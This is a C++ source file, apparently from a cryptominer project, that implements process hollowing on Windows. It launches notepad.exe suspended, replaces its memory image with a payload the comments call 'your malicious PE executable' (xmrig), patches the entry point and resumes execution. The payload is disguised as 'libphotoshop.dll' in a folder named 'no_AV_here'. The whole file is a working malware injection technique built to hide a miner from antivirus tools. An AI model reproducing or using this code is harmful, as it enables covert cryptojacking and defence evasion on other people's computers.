xmrig-minimized-dll/inject_and_hollow.cpp

119 lines
6.6 KiB
C++

#include <windows.h>
#include <winternl.h>
#include <iostream>
#include <vector>
#include <string>
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
int main() {
// Path to the legitimate process to hollow (e.g., a benign system exe)
const char* targetPath = "C:\\Windows\\System32\\notepad.exe"; // Or explorer.exe
// Path to your malicious PE executable (the payload to inject as the new image)
const char* payloadPath = "C:\\Users\\MyWindowsUser\\Downloads\\no_AV_here\\libphotoshop.dll"; // Replace with your xmrig.exe or equivalent PE
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
// Step 1: Create suspended process
BOOL created = CreateProcessA(NULL, (LPSTR)targetPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (!created) {
std::cerr << "CreateProcessA failed: " << GetLastError() << std::endl;
return 1;
}
// Step 2: Get PEB and image base
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
pNtQueryInformationProcess NtQuery = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess");
NTSTATUS status = NtQuery(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength);
if (status != 0) {
std::cerr << "NtQueryInformationProcess failed: " << status << std::endl;
ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
return 1;
}
PVOID imageBase;
PVOID pebImageBasePtr = (PVOID)((BYTE*)pbi.PebBaseAddress + 0x10); // Offset for ImageBaseAddress in x64 PEB
if (!ReadProcessMemory(pi.hProcess, pebImageBasePtr, &imageBase, sizeof(imageBase), NULL)) {
std::cerr << "ReadProcessMemory (ImageBase) failed: " << GetLastError() << std::endl;
ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
return 1;
}
// Step 3: Unmap original image
pNtUnmapViewOfSection NtUnmap = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtUnmapViewOfSection");
status = NtUnmap(pi.hProcess, imageBase);
if (status != 0) {
std::cerr << "NtUnmapViewOfSection failed: " << status << std::endl;
ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
return 1;
}
// Step 4: Read payload PE from disk
HANDLE hFile = CreateFileA(payloadPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cerr << "CreateFile (payload) failed: " << GetLastError() << std::endl;
ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
return 1;
}
DWORD payloadSize = GetFileSize(hFile, NULL);
std::vector<BYTE> payload(payloadSize);
ReadFile(hFile, payload.data(), payloadSize, NULL, NULL);
CloseHandle(hFile);
// Parse payload headers
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)payload.data();
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(payload.data() + dosHeader->e_lfanew);
PVOID payloadImageBase = (PVOID)ntHeader->OptionalHeader.ImageBase;
SIZE_T payloadImageSize = ntHeader->OptionalHeader.SizeOfImage;
// Step 5: Allocate memory in target process (prefer payload's base, but fallback if occupied)
PVOID newImageBase = VirtualAllocEx(pi.hProcess, payloadImageBase, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!newImageBase) {
newImageBase = VirtualAllocEx(pi.hProcess, NULL, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!newImageBase) {
std::cerr << "VirtualAllocEx failed: " << GetLastError() << std::endl;
ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
return 1;
}
}
// Step 6: Write headers and sections
WriteProcessMemory(pi.hProcess, newImageBase, payload.data(), ntHeader->OptionalHeader.SizeOfHeaders, NULL);
PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeader);
for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
PVOID sectionDest = (PVOID)((SIZE_T)newImageBase + sectionHeader->VirtualAddress);
PVOID sectionSrc = (PVOID)(payload.data() + sectionHeader->PointerToRawData);
WriteProcessMemory(pi.hProcess, sectionDest, sectionSrc, sectionHeader->SizeOfRawData, NULL);
sectionHeader++;
}
// Step 7: Handle relocations if base changed
if (newImageBase != payloadImageBase) {
PIMAGE_DATA_DIRECTORY relocDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (relocDir->VirtualAddress) {
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)((SIZE_T)newImageBase + relocDir->VirtualAddress);
SIZE_T delta = (SIZE_T)newImageBase - (SIZE_T)payloadImageBase;
while (reloc->VirtualAddress) {
PWORD entry = (PWORD)((SIZE_T)reloc + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD j = 0; j < (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); j++, entry++) {
if ((*entry >> 12) == IMAGE_REL_BASED_DIR64) {
PULONG64 ptr = (PULONG64)((SIZE_T)newImageBase + reloc->VirtualAddress + (*entry & 0xFFF));
ULONG64 oldValue = 0;
ReadProcessMemory(pi.hProcess, ptr, &oldValue, sizeof(ULONG64), NULL);
oldValue += delta;
WriteProcessMemory(pi.hProcess, ptr, &oldValue, sizeof(ULONG64), NULL);
}
}
reloc = (PIMAGE_BASE_RELOCATION)((SIZE_T)reloc + reloc->SizeOfBlock);
}
}
}
// Step 8: Update PEB image base
WriteProcessMemory(pi.hProcess, pebImageBasePtr, &newImageBase, sizeof(newImageBase), NULL);
// Step 9: Update thread context with new entry point
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rcx = (DWORD64)newImageBase + ntHeader->OptionalHeader.AddressOfEntryPoint; // Entry point in RCX for x64
SetThreadContext(pi.hThread, &ctx);
// Step 10: Resume thread
ResumeThread(pi.hThread);
std::cout << "Process hollowed and payload injected into PID " << pi.dwProcessId << std::endl;
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}